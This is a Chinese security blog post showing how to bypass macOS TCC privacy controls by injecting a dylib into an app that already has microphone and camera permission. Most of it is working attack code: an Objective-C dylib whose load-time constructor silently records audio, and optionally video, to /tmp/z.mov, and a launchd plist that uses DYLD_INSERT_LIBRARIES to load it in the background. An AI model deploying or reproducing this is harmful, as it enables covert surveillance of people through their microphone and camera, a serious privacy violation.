macOS下绕过TCC获取麦克风和摄像头权限


前言

TCC 是一种 macOS 机制,用于控制/限制应用程序对操作系统特定功能的访问。这些与隐私相关的权限包括:完整磁盘访问、位置服务、联系人、摄像头、辅助功能、麦克风等。

Dylib注入我博客中这篇文章中已经总结过了,这里就不再赘述 。
这里简单描述下在没有关闭SIP的情况下,因为关闭SIP后那就太简单了。

比如目标机器安装 Demo.App 可以注入Dylib 并赋予麦克风和摄像头权限,就可以利用此 App 进行录音录、视频等:
image.png

实操

#import <AVFoundation/AVFoundation.h>
#import <Foundation/Foundation.h>

#define PATH "/tmp/z.mov"
#define INTERVAL 10

@interface Recorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property(strong, nonatomic) AVCaptureSession *s;
@property(strong, nonatomic) AVCaptureMovieFileOutput *output;

- (void)startRecording;
- (void)stopRecording;
@end

@implementation Recorder

- (instancetype)init {
  self = [super init];
  if (self) {
    self.s = [[AVCaptureSession alloc] init];
    self.s.sessionPreset = AVCaptureSessionPresetHigh;

    NSError *error;
#ifdef USECAMERA
    AVCaptureDeviceInput *input = [AVCaptureDeviceInput
        deviceInputWithDevice:[AVCaptureDevice
                                  defaultDeviceWithMediaType:AVMediaTypeVideo]
                        error:&error];
    if (error) {
      NSLog(@"Error setting up audio device input: %@",
            [error localizedDescription]);
      return self;
    }
    if ([self.s canAddInput:input]) {
      [self.s addInput:input];
    }
#endif
    AVCaptureDeviceInput *audioInput = [AVCaptureDeviceInput
        deviceInputWithDevice:[AVCaptureDevice
                                  defaultDeviceWithMediaType:AVMediaTypeAudio]
                        error:&error];
    if (error) {
      NSLog(@"Error setting up audio device input: %@",
            [error localizedDescription]);
      return self;
    }

    if ([self.s canAddInput:audioInput]) {
      [self.s addInput:audioInput];
    }

    // output
    self.output = [[AVCaptureMovieFileOutput alloc] init];
    if ([self.s canAddOutput:self.output]) {
      [self.s addOutput:self.output];
    }
  }
  return self;
}

- (void)startRecording {
  [self.s startRunning];
  NSString *path = [NSString stringWithFormat:@"%s", PATH];
  [self.output startRecordingToOutputFileURL:[NSURL fileURLWithPath:path]
                           recordingDelegate:self];
  NSLog(@"Recording started");
}

- (void)stopRecording {
  [self.output stopRecording];
  [self.s stopRunning];
  NSLog(@"Recording stopped");
}

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
    didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
                        fromConnections:(NSArray *)connections
                                  error:(NSError *)error {
#ifdef DEBUG
  if (error) {
    NSLog(@"Recording failed: %@", [error localizedDescription]);
  } else {
    NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
  }
#endif
}

@end

static void __attribute__((constructor)) initialize(void) {
  @autoreleasepool {
    Recorder *ar = [[Recorder alloc] init];
    [ar startRecording];
    [NSThread sleepForTimeInterval:INTERVAL];
    [ar stopRecording];
    [[NSRunLoop currentRunLoop]
        runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
  }
}

使用 launch 在后台加载 Dylib 替代命令行 DYLD_INSERT_LIBRARIES 参数,plist 编写如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>Label</key>
        <string>{{LABEL}}</string>
        <key>EnvironmentVariables</key>
        <dict>
            <key>DYLD_INSERT_LIBRARIES</key>
            <string>{{DYLIB}}</string>
        </dict>
        <key>ProgramArguments</key>
        <array>
            <string>{{APP}}</string>
        </array>
        <key>RunAtLoad</key>
        <true />
        <key>StandardOutPath</key>
        <string>/tmp/zznQ.log</string>
        <key>StandardErrorPath</key>
        <string>/tmp/zznQ.log</string>
    </dict>
</plist>

替换相应的参数 {{xx}},启动后 launchctl load test.plist 目标 App 则会开始录音,演示如下:

Untitled 1.png

Untitled 2.png

参考链接

评论

巴斯.zznQ

微信公众号【凹陷外壳】✌️

随机分类

iOS安全 文章:36 篇
数据安全 文章:29 篇
Web安全 文章:248 篇
Windows安全 文章:88 篇
MongoDB安全 文章:3 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录